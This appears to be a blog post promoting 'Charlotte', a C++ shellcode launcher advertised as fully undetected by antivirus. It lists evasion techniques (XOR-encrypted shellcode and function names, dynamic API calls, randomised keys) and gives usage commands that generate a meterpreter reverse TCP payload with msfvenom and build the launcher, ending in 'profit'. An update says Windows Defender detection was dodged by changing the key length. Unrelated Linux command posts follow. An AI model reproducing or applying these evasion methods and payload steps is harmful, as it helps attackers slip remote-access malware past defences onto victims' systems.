Charlotte : C++ Fully Undetected Shellcode Launcher

Charlotte is an c++ fully undetected shellcode launcher .

Description

  • 13/05/2021:
    • c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021.
    • dynamic invoking of win32 api functions
    • XOR encryption of shellcode and function names
    • randomised XOR keys and variables per run
    • on Kali Linux, simply ‘apt-get install mingw-w64*’ and thats it!
  • 17/05/2021:
    • random strings length and XOR keys length

Antiscan.me

Usage

git clone the repository, generate your shellcode file with the naming beacon.bin, and run charlotte.py

Example:

git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
cd charlotte
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
python charlotte.py
profit

tested with msfvenom -p (shown in the .gif POC below) and also cobalt strike raw format payload

Update v1.1

17/05/21:

Apparently Microsoft Windows Defender was able to detect the .DLL binary, and how did they flag it? by looking for several XOR keys of 16 byte size changing it to 9 shown in the POC .gif below shows it is now undetected again cheers.

R K

Recent Posts

git fetch vs git pull: How They Work and When to Use Each

Both git fetch and git pull talk to a remote repository, but they do very different things to your…

1 week ago

git cherry-pick Command: Apply Commits from Another Branch

Sometimes the change you need already exists, just on the wrong branch. A hotfix lands…

1 week ago

Best Email APIs for Secure Business Email: Why Developers Are Moving Beyond SMTP

Email is still one of the most important communication channels inside modern applications. Password resets,…

1 week ago

Nginx Commands in Linux: Start, Stop, Reload, Test, and Log

Nginx is a high-performance web server and reverse proxy trusted by some of the largest…

2 weeks ago

ufw Command in Linux: Manage Firewall Rules with Examples

ufw (Uncomplicated Firewall) sits on top of iptables (or nftables on newer systems) and replaces…

2 weeks ago

who Command in Linux: Show All Logged-In Users and Sessions

When you share a server with a team or investigate unexpected activity, the first question…

2 weeks ago